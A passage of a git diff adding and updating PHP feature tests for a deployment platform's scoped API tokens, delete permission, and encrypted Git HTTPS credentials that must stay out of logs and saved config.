scopedTokenTestApi(scopedTokenTestToken($member, $this->team, ['delete'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]), 'GET', '/api/v1/applications')->assertForbidden(); + }); + + test('a member with a write grant can create project and environment shared variables', function () { + $member = scopedTokenTestMember($this->team, [['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['write']]]); + $token = scopedTokenTestToken($member, $this->team, ['read', 'write'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]); + + scopedTokenTestApi($token, 'POST', "/api/v1/projects/{$this->shop->uuid}/envs", ['key' => 'PROJECT_KEY', 'value' => 'v'])->assertCreated(); + scopedTokenTestApi($token, 'POST', "/api/v1/projects/{$this->shop->uuid}/environments/{$this->shopProduction->uuid}/envs", ['key' => 'ENVIRONMENT_KEY', 'value' => 'v'])->assertCreated(); + scopedTokenTestApi($token, 'POST', "/api/v1/projects/{$this->blog->uuid}/envs", ['key' => 'OTHER_KEY', 'value' => 'v'])->assertNotFound(); + + expect(SharedEnvironmentVariable::query()->whereIn('key', ['PROJECT_KEY', 'ENVIRONMENT_KEY', 'OTHER_KEY'])->pluck('key')->all())->toEqualCanonicalizing(['PROJECT_KEY', 'ENVIRONMENT_KEY']); + }); + + test('a member with a read grant cannot create project or environment shared variables', function () { + $member = scopedTokenTestMember($this->team, [['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']]]); + $token = scopedTokenTestToken($member, $this->team, ['read'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]); + $writeToken = scopedTokenTestToken($member, $this->team, ['read', 'write'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]); + + foreach ([$token, $writeToken] as $candidate) { + scopedTokenTestApi($candidate, 'POST', "/api/v1/projects/{$this->shop->uuid}/envs", ['key' => 'PROJECT_KEY', 'value' => 'v'])->assertForbidden(); + scopedTokenTestApi($candidate, 'POST', "/api/v1/projects/{$this->shop->uuid}/environments/{$this->shopProduction->uuid}/envs", ['key' => 'ENVIRONMENT_KEY', 'value' => 'v'])->assertForbidden(); + } + + expect(SharedEnvironmentVariable::query()->whereIn('key', ['PROJECT_KEY', 'ENVIRONMENT_KEY'])->exists())->toBeFalse(); + }); +}); + +describe('mcp', function () { + test('a scoped token lists only scoped applications and does not get team-level tools', function () { + $token = scopedTokenTestToken($this->admin, $this->team, ['read'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]); + + $listed = json_decode((string) scopedTokenTestMcp($token, 'tools/call', ['name' => 'list_applications', 'arguments' => (object) []])->json('result.content.0.text'), true); + $tools = scopedTokenTestMcp($token, 'tools/list')->json('result.tools.*.name'); + + expect(collect($listed['data'])->pluck('name')->all())->toEqualCanonicalizing(['shop-api', 'shop-worker']) + ->and($tools)->toContain('list_applications') + ->and($tools)->not->toContain('list_servers') + ->and($tools)->not->toContain('manage_private_key'); + expect(scopedTokenTestMcp($token, 'tools/call', ['name' => 'list_servers', 'arguments' => (object) []])->json('error'))->not->toBeNull(); + }); + + test('a team-wide token still gets team-level tools', function () { + $tools = scopedTokenTestMcp(scopedTokenTestToken($this->admin, $this->team, ['read'], null), 'tools/list')->json('result.tools.*.name'); + + expect($tools)->toContain('list_servers'); + }); +}); + +describe('token form', function () { + beforeEach(function () { + session(['currentTeam' => $this->team]); + }); + + test('creates a token limited to the selected project', function () { + $this->actingAs($this->admin); + + Livewire::test(ApiTokens::class) + ->set('description', 'shop deploys') + ->set('permissions', ['deploy']) + ->set('scopeMode', 'selected') + ->set('selectedScopes', ["project:{$this->shop->uuid}"]) + ->call('addNewToken') + ->assertHasNoErrors() + ->assertNotDispatched('error'); + + $token = PersonalAccessToken::query()->sole(); + expect($token->abilities)->toBe(['deploy']) + ->and($token->scopes)->toBe([['scope' => 'project', 'uuid' => $this->shop->uuid]]) + ->and((int) $token->team_id)->toBe($this->team->id); + }); + + test('rejects a scope from another team', function () { + $otherTeam = Team::factory()->create(); + $otherProject = Project::factory()->create(['team_id' => $otherTeam->id]); + $this->actingAs($this->admin); + + Livewire::test(ApiTokens::class) + ->set('description', 'foreign') + ->set('permissions', ['read']) + ->set('scopeMode', 'selected') + ->set('selectedScopes', ["project:{$otherProject->uuid}"]) + ->call('addNewToken') + ->assertDispatched('error'); + + expect(PersonalAccessToken::query()->count())->toBe(0); + }); + + test('a member can create a token only within their grants', function () { + $member = scopedTokenTestMember($this->team, [['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['write']]]); + $this->actingAs($member); + + $form = Livewire::test(ApiTokens::class)->assertSet('scopeMode', 'selected'); + expect(collect($form->instance()->scopeOptions())->pluck('value')->filter(fn ($value) => str_starts_with($value, 'project:'))->values()->all()) + ->toBe(["project:{$this->shop->uuid}"]); + + $form->set('description', 'too wide') + ->set('permissions', ['write']) + ->set('scopeMode', 'team') + ->call('addNewToken') + ->assertDispatched('error'); + $form->set('description', 'blog') + ->set('scopeMode', 'selected') + ->set('selectedScopes', ["project:{$this->blog->uuid}"]) + ->call('addNewToken') + ->assertDispatched('error'); + $form->set('description', 'shop') + ->set('selectedScopes', ["project:{$this->shop->uuid}"]) + ->call('addNewToken'); + + expect($member->tokens()->pluck('name')->all())->toBe(['shop']); + }); +}); diff --git a/tests/Feature/Api/DeleteResourceDeployAbilityTest.php b/tests/Feature/Api/DeleteResourceDeployAbilityTest.php index b6f6bb4c52..c20f000afa 100644 --- a/tests/Feature/Api/DeleteResourceDeployAbilityTest.php +++ b/tests/Feature/Api/DeleteResourceDeployAbilityTest.php @@ -79,43 +79,43 @@ function deleteAbilityHeaders(User $user, int $teamId, array $abilities): array return ['Authorization' => 'Bearer '.$token->getKey().'|'.$plainTextToken]; } -test('write-only token cannot delete a resource', function (string $type) { +test('token without the delete permission cannot delete a resource', function (string $type) { $resource = $this->resources[$type]; - $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['write'])) + $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['write', 'deploy'])) ->deleteJson("/api/v1/{$type}/{$resource->uuid}") ->assertForbidden() - ->assertJsonPath('message', 'Missing required permissions: deploy'); + ->assertJsonPath('message', 'Missing required permissions: delete'); expect($resource::query()->whereKey($resource->getKey())->exists())->toBeTrue(); Queue::assertNotPushed(DeleteResourceJob::class); })->with(['applications', 'services', 'databases']); -test('write and deploy token deletes a resource', function (string $type) { +test('token with the delete permission deletes a resource', function (string $type) { $resource = $this->resources[$type]; - $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['write', 'deploy'])) + $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['delete'])) ->deleteJson("/api/v1/{$type}/{$resource->uuid}") ->assertOk(); expect($resource::query()->whereKey($resource->getKey())->exists())->toBeFalse(); })->with(['applications', 'services', 'databases']); -test('write-only token cannot delete a preview deployment', function () { +test('token without the delete permission cannot delete a preview deployment', function () { $application = $this->resources['applications']; - $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['write'])) + $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['write', 'deploy'])) ->deleteJson("/api/v1/applications/{$application->uuid}/previews/42") ->assertForbidden() - ->assertJsonPath('message', 'Missing required permissions: deploy'); + ->assertJsonPath('message', 'Missing required permissions: delete'); expect($this->preview->fresh()->trashed())->toBeFalse(); }); -test('write and deploy token deletes a preview deployment', function () { +test('token with the delete permission deletes a preview deployment', function () { $application = $this->resources['applications']; - $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['write', 'deploy'])) + $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['delete'])) ->deleteJson("/api/v1/applications/{$application->uuid}/previews/42") ->assertOk(); diff --git a/tests/Feature/Api/ServerDeleteFromProviderApiTest.php b/tests/Feature/Api/ServerDeleteFromProviderApiTest.php index 82fe41ffca..784d6f4986 100644 --- a/tests/Feature/Api/ServerDeleteFromProviderApiTest.php +++ b/tests/Feature/Api/ServerDeleteFromProviderApiTest.php @@ -20,7 +20,7 @@ beforeEach(function () { $this->team->members()->attach($this->user->id, ['role' => 'owner']); session(['currentTeam' => $this->team]); - $newToken = $this->user->createToken('write-token', ['write', 'deploy']); + $newToken = $this->user->createToken('write-token', ['write', 'deploy', 'delete']); $newToken->accessToken->forceFill(['team_id' => $this->team->id])->save(); $this->token = $newToken->plainTextToken; }); diff --git a/tests/Feature/Api/ServerDeployAbilityTest.php b/tests/Feature/Api/ServerDeployAbilityTest.php index 59a3000fe1..c79d12e7db 100644 --- a/tests/Feature/Api/ServerDeployAbilityTest.php +++ b/tests/Feature/Api/ServerDeployAbilityTest.php @@ -157,11 +157,11 @@ describe('validate with install', function () { }); describe('delete', function () { - test('write-only token cannot delete with force or delete_from_provider', function (string $query) { + test('token without the deploy permission cannot delete with force or delete_from_provider', function (string $query) { CloudProviderToken::factory()->create(['team_id' => $this->team->id, 'provider' => 'hetzner']); $this->server->update(['hetzner_server_id' => 123]); - $this->withHeaders(serverDeployAbilityHeaders($this->user, $this->team->id, ['write'])) + $this->withHeaders(serverDeployAbilityHeaders($this->user, $this->team->id, ['write', 'delete'])) ->deleteJson("/api/v1/servers/{$this->server->uuid}?{$query}") ->assertForbidden() ->assertJsonPath('message', 'Missing required permissions: deploy. Deleting the resources or the cloud server needs a token with the deploy permission.'); @@ -169,16 +169,16 @@ describe('delete', function () { expect(Server::query()->whereKey($this->server->id)->exists())->toBeTrue(); })->with(['force=true', 'delete_from_provider=true']); - test('write-only token can delete an empty server', function () { - $this->withHeaders(serverDeployAbilityHeaders($this->user, $this->team->id, ['write'])) + test('delete token can delete an empty server', function () { + $this->withHeaders(serverDeployAbilityHeaders($this->user, $this->team->id, ['delete'])) ->deleteJson("/api/v1/servers/{$this->server->uuid}") ->assertOk(); expect(Server::query()->whereKey($this->server->id)->exists())->toBeFalse(); }); - test('write and deploy token can delete with force', function () { - $this->withHeaders(serverDeployAbilityHeaders($this->user, $this->team->id, ['write', 'deploy'])) + test('delete and deploy token can delete with force', function () { + $this->withHeaders(serverDeployAbilityHeaders($this->user, $this->team->id, ['delete', 'deploy'])) ->deleteJson("/api/v1/servers/{$this->server->uuid}?force=true") ->assertOk(); diff --git a/tests/Feature/Api/ServerDockerRegistriesApiTest.php b/tests/Feature/Api/ServerDockerRegistriesApiTest.php index b6182a7a6f..c291114a36 100644 --- a/tests/Feature/Api/ServerDockerRegistriesApiTest.php +++ b/tests/Feature/Api/ServerDockerRegistriesApiTest.php @@ -42,7 +42,7 @@ beforeEach(function () { $this->server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); $this->server->refresh(); - $this->writeToken = serverRegistriesApiToken($this->user, $this->team, ['read', 'write', 'deploy']); + $this->writeToken = serverRegistriesApiToken($this->user, $this->team, ['read', 'write', 'deploy', 'delete']); $this->sensitiveToken = serverRegistriesApiToken($this->user, $this->team, ['read', 'read:sensitive']); }); diff --git a/tests/Feature/Api/ServiceDeleteMessageApiTest.php b/tests/Feature/Api/ServiceDeleteMessageApiTest.php index e655156f30..e94ecf93cf 100644 --- a/tests/Feature/Api/ServiceDeleteMessageApiTest.php +++ b/tests/Feature/Api/ServiceDeleteMessageApiTest.php @@ -24,7 +24,7 @@ beforeEach(function () { $this->user = User::factory()->create(); $this->team->members()->attach($this->user->id, ['role' => 'owner']); session(['currentTeam' => $this->team]); - $token = $this->user->createToken('service-delete-message', ['write', 'deploy']); + $token = $this->user->createToken('service-delete-message', ['write', 'deploy', 'delete']); $token->accessToken->forceFill(['team_id' => $this->team->id])->save(); $this->bearerToken = $token->plainTextToken; diff --git a/tests/Feature/ApplicationDomainsTest.php b/tests/Feature/ApplicationDomainsTest.php index 7050f5777b..672f79c3a0 100644 --- a/tests/Feature/ApplicationDomainsTest.php +++ b/tests/Feature/ApplicationDomainsTest.php @@ -2123,6 +2123,16 @@ it('shows the compose service name in the domain conflict modal', function () { expect($html)->toContain('(application: web)'); }); +it('does not link a hidden resource in the domain conflict modal', function () { + $html = Blade::render( + '', + ['conflicts' => [hiddenDomainConflict('https://hidden-taken.example.com', 'application')]], + ); + + expect($html)->toContain('another resource') + ->not->toContain('href=""'); +}); + it('checks each domain configured for one docker compose service', function () { Application::factory()->create([ 'uuid' => (string) Str::uuid(), diff --git a/tests/Feature/Authorization/LegacyMemberTokenTest.php b/tests/Feature/Authorization/LegacyMemberTokenTest.php index c51f827ad3..9ae077c564 100644 --- a/tests/Feature/Authorization/LegacyMemberTokenTest.php +++ b/tests/Feature/Authorization/LegacyMemberTokenTest.php @@ -29,8 +29,8 @@ function apiRequest($test, string $token, string $method = 'get', string $url = } /** - * The api.token.team middleware rejects elevated abilities on member tokens - * before ApiAbility runs, so REST clients get its generic role message. + * The api.token.team middleware rejects member tokens with more access than the member has + * before ApiAbility runs. */ describe('member with legacy elevated token is rejected', function () { test('member with legacy elevated token gets 403', function (array $abilities) { @@ -39,7 +39,7 @@ describe('member with legacy elevated token is rejected', function () { $response = apiRequest($this, $token->plainTextToken); $response->assertStatus(403); - $response->assertExactJson(['message' => 'Missing required team role.']); + $response->assertExactJson(['message' => 'This API token has more access than you have in this team. Revoke it and create a new token.']); })->with([ 'write' => [['read', 'write']], 'deploy' => [['read', 'deploy']], @@ -55,7 +55,7 @@ describe('member with legacy elevated token is rejected', function () { $response = apiRequest($this, $token->plainTextToken, 'patch', '/api/v1/team'); $response->assertStatus(403); - $response->assertExactJson(['message' => 'Missing required team role.']); + $response->assertExactJson(['message' => 'This API token has more access than you have in this team. Revoke it and create a new token.']); }); }); diff --git a/tests/Feature/ContainerFilesystemServiceTest.php b/tests/Feature/ContainerFilesystemServiceTest.php index 0acd312852..24d221c064 100644 --- a/tests/Feature/ContainerFilesystemServiceTest.php +++ b/tests/Feature/ContainerFilesystemServiceTest.php @@ -461,13 +461,13 @@ it('streams the remote command output to the writer in chunks', function () { $server = fsServer(); $svc = new class($server, 'app-123') extends ContainerFilesystemService { - public ?string $remoteCommand = null; + public string $stdinFile; - protected function sshCommand(string $command): string + protected function sshCommand(): string { - $this->remoteCommand = $command; + $this->stdinFile = tempnam(sys_get_temp_dir(), 'fs-stream-'); - return 'head -c 200000 /dev/zero'; + return 'cat > '.escapeshellarg($this->stdinFile).'; head -c 200000 /dev/zero'; } }; $received = ''; @@ -478,7 +478,9 @@ it('streams the remote command output to the writer in chunks', function () { $chunks++; }); - expect($svc->remoteCommand)->toEndWith("docker exec 'app-123' cat -- '/app/a.bin'"); + $remoteCommand = file_get_contents($svc->stdinFile); + unlink($svc->stdinFile); + expect($remoteCommand)->toEndWith("docker exec 'app-123' cat -- '/app/a.bin'\n"); expect(strlen($received))->toBe(200000); expect($chunks)->toBeGreaterThan(1); }); diff --git a/tests/Feature/DeploymentConfigurationSymlinkWriteTest.php b/tests/Feature/DeploymentConfigurationSymlinkWriteTest.php index ff654dd00a..a08f90fe54 100644 --- a/tests/Feature/DeploymentConfigurationSymlinkWriteTest.php +++ b/tests/Feature/DeploymentConfigurationSymlinkWriteTest.php @@ -58,8 +58,10 @@ beforeEach(function () { SH; Process::fake(function (PendingProcess $process) use ($shellPrelude) { $command = $process->command; - if (preg_match('~<< \\\\(\S+)\n(.*)\n\1$~s', $command, $matches)) { - $script = $matches[2]; + $input = $process->input; + if (str_ends_with($command, 'exec sh -se; fi"\'')) { + $script = $input; + $input = null; } elseif (preg_match("~ '((?:[^']|'\\\\'')*)'$~s", $command, $matches)) { $script = str_replace("'\\''", "'", $matches[1]); } else { @@ -67,7 +69,7 @@ beforeEach(function () { } $shell = new SymfonyProcess(['bash', '-c', $shellPrelude."\nset -e\n".$script]); - $shell->setInput($process->input); + $shell->setInput($input); $shell->run(); return Process::result(output: $shell->getOutput(), errorOutput: $shell->getErrorOutput(), exitCode: $shell->getExitCode()); diff --git a/tests/Feature/GitHttpsCredentialCommandsTest.php b/tests/Feature/GitHttpsCredentialCommandsTest.php new file mode 100644 index 0000000000..36fe3efd82 --- /dev/null +++ b/tests/Feature/GitHttpsCredentialCommandsTest.php @@ -0,0 +1,245 @@ + __DIR__.'/srv', + 'GIT_HTTP_EXPORT_ALL' => '1', + 'GIT_PROTOCOL' => $_SERVER['HTTP_GIT_PROTOCOL'] ?? '', + 'REQUEST_METHOD' => $_SERVER['REQUEST_METHOD'], + 'PATH_INFO' => parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), + 'QUERY_STRING' => $_SERVER['QUERY_STRING'] ?? '', + 'CONTENT_TYPE' => $_SERVER['CONTENT_TYPE'] ?? '', + 'HTTP_CONTENT_ENCODING' => $_SERVER['HTTP_CONTENT_ENCODING'] ?? '', + 'PATH' => getenv('PATH'), + ]); + fwrite($pipes[0], file_get_contents('php://input')); + fclose($pipes[0]); + [$head, $body] = explode("\r\n\r\n", stream_get_contents($pipes[1]), 2) + [1 => '']; + proc_close($backend); + foreach (explode("\r\n", $head) as $line) { + str_starts_with($line, 'Status:') ? http_response_code((int) substr($line, 8)) : header($line); + } + echo $body; + + return true; + PHP); + + $socket = stream_socket_server('tcp://127.0.0.1:0'); + $port = (int) substr(strrchr(stream_socket_get_name($socket, false), ':'), 1); + fclose($socket); + + $server = new Process([PHP_BINARY, '-S', "127.0.0.1:{$port}", $root.'/router.php'], $root, ['GIT_TEST_CREDENTIALS' => $credentials]); + $server->start(); + for ($i = 0; $i < 100 && ! @fsockopen('127.0.0.1', $port); $i++) { + usleep(50_000); + } + + return [$server, "http://127.0.0.1:{$port}"]; +} + +/** + * Runs the commands like a server does over SSH: one `bash -se` that reads them from stdin. + */ +function runGitHttpsCredentialCommands(string $root, string $commands): Process +{ + $process = new Process(['bash', '-se'], env: ['PATH' => $root.'/bin:'.getenv('PATH'), 'GIT_TERMINAL_PROMPT' => '0']); + $process->setInput($commands."\n"); + $process->setTimeout(60); + $process->run(); + + return $process; +} + +function gitHttpsCredentialApplication(string $repository, array $attributes = []): Application +{ + $application = Application::factory()->create([ + 'git_repository' => $repository, + 'git_branch' => 'main', + 'git_commit_sha' => 'HEAD', + 'build_pack' => 'dockercompose', + 'base_directory' => '/', + 'docker_compose_location' => '/docker-compose.yml', + ...$attributes, + ]); + $application->forceFill(['git_https_username' => 'deploy-bot', 'git_https_password' => 'plain-test-value'])->save(); + $application->settings->update(['is_git_submodules_enabled' => true, 'is_git_lfs_enabled' => false]); + + return $application->fresh(); +} + +function gitHttpsCredentialNonRootServer(): Server +{ + $server = Mockery::mock(Server::class)->makePartial(); + $server->shouldReceive('getAttribute')->with('user')->andReturn('ubuntu'); + $server->shouldReceive('setAttribute')->andReturnSelf(); + + return $server; +} + +beforeEach(function () { + InstanceSettings::forceCreate(['id' => 0]); + $this->root = sys_get_temp_dir().'/coolify-git-https-'.bin2hex(random_bytes(4)); + mkdir($this->root.'/bin', 0755, true); + mkdir($this->root.'/srv'); + mkdir($this->root.'/work'); + file_put_contents($this->root.'/bin/sudo', "#!/bin/sh\nexec \"\$@\"\n"); + // Runs `docker exec bash -c '...'` on the host, so the helper container commands run unchanged. + file_put_contents($this->root.'/bin/docker', "#!/bin/sh\nshift 2\nexec \"\$@\"\n"); + chmod($this->root.'/bin/sudo', 0755); + chmod($this->root.'/bin/docker', 0755); + + [$this->server, $this->baseUrl] = startGitHttpsCredentialServer($this->root, 'deploy-bot:plain-test-value'); + + $git = fn (string $dir, array $args) => (new Process(['git', '-c', 'user.email=test@example.com', '-c', 'user.name=Test', '-c', 'protocol.file.allow=always', ...$args], $dir))->mustRun(); + + mkdir($this->root.'/sub'); + file_put_contents($this->root.'/sub/lib.txt', 'submodule file'); + $git($this->root.'/sub', ['init', '-q', '-b', 'main']); + $git($this->root.'/sub', ['add', '-A']); + $git($this->root.'/sub', ['commit', '-qm', 'sub']); + $git($this->root.'/sub', ['clone', '-q', '--bare', '.', $this->root.'/srv/sub.git']); + + mkdir($this->root.'/src'); + $this->compose = "services:\n web:\n image: nginx\n"; + file_put_contents($this->root.'/src/docker-compose.yml', $this->compose); + $git($this->root.'/src', ['init', '-q', '-b', 'main']); + $git($this->root.'/src', ['submodule', 'add', '-q', $this->root.'/srv/sub.git', 'lib']); + $git($this->root.'/src', ['config', '-f', '.gitmodules', 'submodule.lib.url', $this->baseUrl.'/sub.git']); + $git($this->root.'/src', ['add', '-A']); + $git($this->root.'/src', ['commit', '-qm', 'app']); + $this->commit = trim($git($this->root.'/src', ['rev-parse', 'HEAD'])->getOutput()); + file_put_contents($this->root.'/src/pr.txt', 'pull request'); + $git($this->root.'/src', ['add', '-A']); + $git($this->root.'/src', ['commit', '-qm', 'pr']); + $git($this->root.'/src', ['clone', '-q', '--bare', '.', $this->root.'/srv/app.git']); + $git($this->root.'/srv/app.git', ['update-ref', 'refs/pull/7/head', 'HEAD']); + $git($this->root.'/srv/app.git', ['update-ref', 'refs/heads/main', $this->commit]); + + $this->repository = $this->baseUrl.'/app.git'; +}); + +afterEach(function () { + $this->server->stop(0); + (new Process(['rm', '-rf', $this->root]))->run(); + Mockery::close(); +}); + +test('the deployment clone uses the HTTPS credential for the repository, the commit, and submodules without saving it', function (int $pullRequestId) { + $application = gitHttpsCredentialApplication($this->repository, ['git_commit_sha' => $pullRequestId === 0 ? $this->commit : 'HEAD']); + $checkout = $this->root.'/work/checkout'; + + ['commands' => $commands] = $application->generateGitImportCommands('deploy-uuid', pull_request_id: $pullRequestId, git_type: 'gitea', exec_in_docker: true, custom_base_dir: $checkout); + $process = runGitHttpsCredentialCommands($this->root, $commands); + + expect($process->getExitCode())->toBe(0, $process->getErrorOutput()); + + $savedConfig = file_get_contents($checkout.'/.git/config').file_get_contents($checkout.'/.git/modules/lib/config'); + expect(file_get_contents($checkout.'/lib/lib.txt'))->toBe('submodule file') + ->and(file_exists($checkout.'/pr.txt'))->toBe($pullRequestId !== 0) + ->and($savedConfig)->not->toContain('plain-test-value') + ->and($savedConfig)->not->toContain($application->gitHttpsCredentialBasicToken()) + ->and($savedConfig)->not->toContain('extraHeader'); +})->with([ + 'pinned commit' => [0], + 'pull request preview' => [7], +]); + +test('git fails without the right HTTPS credential', function () { + $application = gitHttpsCredentialApplication($this->repository); + $application->forceFill(['git_https_password' => 'wrong-token'])->save(); + + ['commands' => $commands] = $application->fresh()->generateGitImportCommands('deploy-uuid', exec_in_docker: false, custom_base_dir: $this->root.'/work/checkout'); + $process = runGitHttpsCredentialCommands($this->root, $commands); + + expect($process->getExitCode())->not->toBe(0) + ->and($process->getErrorOutput())->toContain('could not read Username') + ->and(file_exists($this->root.'/work/checkout/docker-compose.yml'))->toBeFalse(); +}); + +test('ls-remote on the server works for root and non-root users', function (bool $nonRoot) { + $application = gitHttpsCredentialApplication($this->repository); + + ['commands' => $command] = $application->generateGitLsRemoteCommands('deploy-uuid', exec_in_docker: false); + $commands = collect([$command]); + if ($nonRoot) { + $commands = collect(parseCommandsByLineForSudo($commands, gitHttpsCredentialNonRootServer())); + } + $process = runGitHttpsCredentialCommands($this->root, $commands->implode("\n")); + + expect($process->getExitCode())->toBe(0, $process->getErrorOutput()) + ->and($process->getOutput())->toContain("{$this->commit}\trefs/heads/main"); +})->with(['root' => [false], 'non-root' => [true]]); + +test('the deployment job ls-remote uses the HTTPS credential in the helper container', function () { + $application = gitHttpsCredentialApplication($this->repository); + $job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor(); + $reflection = new ReflectionObject($job); + foreach (['application' => $application, 'customPort' => 22, 'fullRepoUrl' => $this->repository] as $property => $value) { + $reflection->getProperty($property)->setValue($job, $value); + } + + $command = $reflection->getMethod('gitLsRemoteCommand')->invoke($job, 'refs/heads/main'); + $process = runGitHttpsCredentialCommands($this->root, executeInDocker('deploy-uuid', $command)); + + expect($process->getExitCode())->toBe(0, $process->getErrorOutput()) + ->and($process->getOutput())->toBe("{$this->commit}\trefs/heads/main\n"); +}); + +test('the Compose file loads with the HTTPS credential for root and non-root users', function (bool $nonRoot) { + $application = gitHttpsCredentialApplication($this->repository); + $uuid = 'git-https-'.bin2hex(random_bytes(4)); + $gitVersion = (string) str((new Process(['git', '--version']))->mustRun()->getOutput())->trim()->explode(' ')->last(); + + $commands = (new ReflectionMethod(Application::class, 'composeFileReadCommands'))->invoke($application, $uuid, $gitVersion); + if ($nonRoot) { + $commands = collect(parseCommandsByLineForSudo($commands, gitHttpsCredentialNonRootServer())); + } + $process = runGitHttpsCredentialCommands($this->root, $commands->implode("\n")); + (new Process(['rm', '-rf', "/tmp/{$uuid}"]))->run(); + + expect($process->getExitCode())->toBe(0, $process->getErrorOutput()) + ->and($process->getOutput())->toBe($this->compose); +})->with(['root' => [false], 'non-root' => [true]]); + +test('git sends the HTTPS credential only to the repository host', function () { + $application = gitHttpsCredentialApplication($this->repository); + $option = $application->gitHttpsCredentialConfigOption(); + + $headerFor = fn (string $url) => trim(runGitHttpsCredentialCommands($this->root, "git {$option} config --get-urlmatch http.extraHeader {$url} || true")->getOutput()); + + expect($headerFor($this->baseUrl.'/other/repo.git'))->toBe('Authorization: Basic '.base64_encode('deploy-bot:plain-test-value')) + ->and($headerFor('http://example.com/app.git'))->toBe('') + ->and($headerFor(str_replace('http://', 'https://', $this->baseUrl).'/app.git'))->toBe(''); +}); + +test('the HTTPS credential is not used for SSH URLs, deploy keys, or applications without a password', function (array $attributes) { + $application = gitHttpsCredentialApplication($this->repository); + $application->forceFill($attributes)->save(); + + expect($application->fresh()->gitHttpsCredentialConfigOption())->toBeNull(); +})->with([ + 'ssh url' => [['git_repository' => 'git@example.com:org/app.git']], + 'deploy key' => [['private_key_id' => 0]], + 'no password' => [['git_https_password' => null]], +]); diff --git a/tests/Feature/GitHttpsCredentialTest.php b/tests/Feature/GitHttpsCredentialTest.php new file mode 100644 index 0000000000..b1d66d433a --- /dev/null +++ b/tests/Feature/GitHttpsCredentialTest.php @@ -0,0 +1,207 @@ + 'file']); + Storage::fake('ssh-keys'); + InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0])); + + $this->team = Team::factory()->create(); + $this->owner = User::factory()->create(); + $this->team->members()->attach($this->owner->id, ['role' => 'owner']); + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'git_repository' => 'https://dev.azure.com/org/project/_git/app', + 'git_branch' => 'main', + ]); +}); + +function gitHttpsCredentialRawPassword(Application $application): ?string +{ + return DB::table('applications')->where('id', $application->id)->value('git_https_password'); +} + +function gitHttpsCredentialApiToken(User $user, Team $team): string +{ + session(['currentTeam' => $team]); + + return $user->createToken('git-https-credential-test', ['root'])->plainTextToken; +} + +test('an admin saves the HTTPS credential encrypted and the browser never gets the password', function () { + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + + $component = Livewire::test(Source::class, ['application' => $this->application]) + ->set('gitHttpsUsername', 'deploy-bot') + ->set('gitHttpsPassword', 'azure-test-value') + ->call('submit') + ->assertSet('gitHttpsPassword', null) + ->assertSet('hasGitHttpsPassword', true); + + $application = $this->application->fresh(); + expect($application->git_https_username)->toBe('deploy-bot') + ->and($application->git_https_password)->toBe('azure-test-value') + ->and(gitHttpsCredentialRawPassword($application))->not->toContain('azure-test-value') + ->and($component->html())->not->toContain('azure-test-value'); + + $component->set('gitHttpsUsername', 'other-bot')->call('submit'); + expect($this->application->fresh()->git_https_password)->toBe('azure-test-value') + ->and($this->application->fresh()->git_https_username)->toBe('other-bot'); + + $component->call('removeGitHttpsCredential')->assertSet('hasGitHttpsPassword', false); + expect($this->application->fresh()->git_https_password)->toBeNull() + ->and($this->application->fresh()->git_https_username)->toBeNull(); +}); + +test('a username without a password is rejected', function () { + $this->actingAs($this->owner); + session(['currentTeam' => $this->team]); + + Livewire::test(Source::class, ['application' => $this->application]) + ->set('gitHttpsUsername', 'deploy-bot') + ->call('submit') + ->assertDispatched('error'); + + expect($this->application->fresh()->git_https_username)->toBeNull(); +}); + +test('a member of the application team cannot change the HTTPS credential after switching to a team they own', function () { + $user = User::factory()->create(); + $this->team->members()->attach($user->id, ['role' => 'member']); + $otherTeam = Team::factory()->create(); + $otherTeam->members()->attach($user->id, ['role' => 'owner']); + $this->application->forceFill(['git_https_password' => 'existing-token'])->save(); + $this->actingAs($user); + session(['currentTeam' => $this->team]); + + $component = Livewire::test(Source::class, ['application' => $this->application]); + session(['currentTeam' => $otherTeam]); + $component->set('gitHttpsPassword', 'attacker-token')->call('submit'); + $component->call('removeGitHttpsCredential'); + + expect($this->application->fresh()->git_https_password)->toBe('existing-token'); +}); + +test('deployment logs never contain the HTTPS credential', function () { + $this->application->forceFill(['git_https_username' => 'deploy-bot', 'git_https_password' => 'log-canary-token'])->save(); + $application = $this->application->fresh(); + $deployment = ApplicationDeploymentQueue::query()->create([ + 'application_id' => $application->id, + 'deployment_uuid' => fake()->uuid(), + ]); + ['commands' => $command] = $application->generateGitLsRemoteCommands('deploy-uuid'); + + $deployment->addLogEntry(message: 'remote said log-canary-token', command: $command); + + $logs = (string) $deployment->fresh()->logs; + expect($command)->toContain($application->gitHttpsCredentialBasicToken()) + ->and($logs)->not->toContain('log-canary-token') + ->and($logs)->not->toContain($application->gitHttpsCredentialBasicToken()); +}); + +test('the API creates an application with an HTTPS credential and never returns the password', function () { + $token = gitHttpsCredentialApiToken($this->owner, $this->team); + + $response = $this->withToken($token)->postJson('/api/v1/applications/public', [ + 'project_uuid' => $this->project->uuid, + 'environment_uuid' => $this->environment->uuid, + 'server_uuid' => $this->server->uuid, + 'git_repository' => 'https://git.example.com/org/private.git', + 'git_branch' => 'main', + 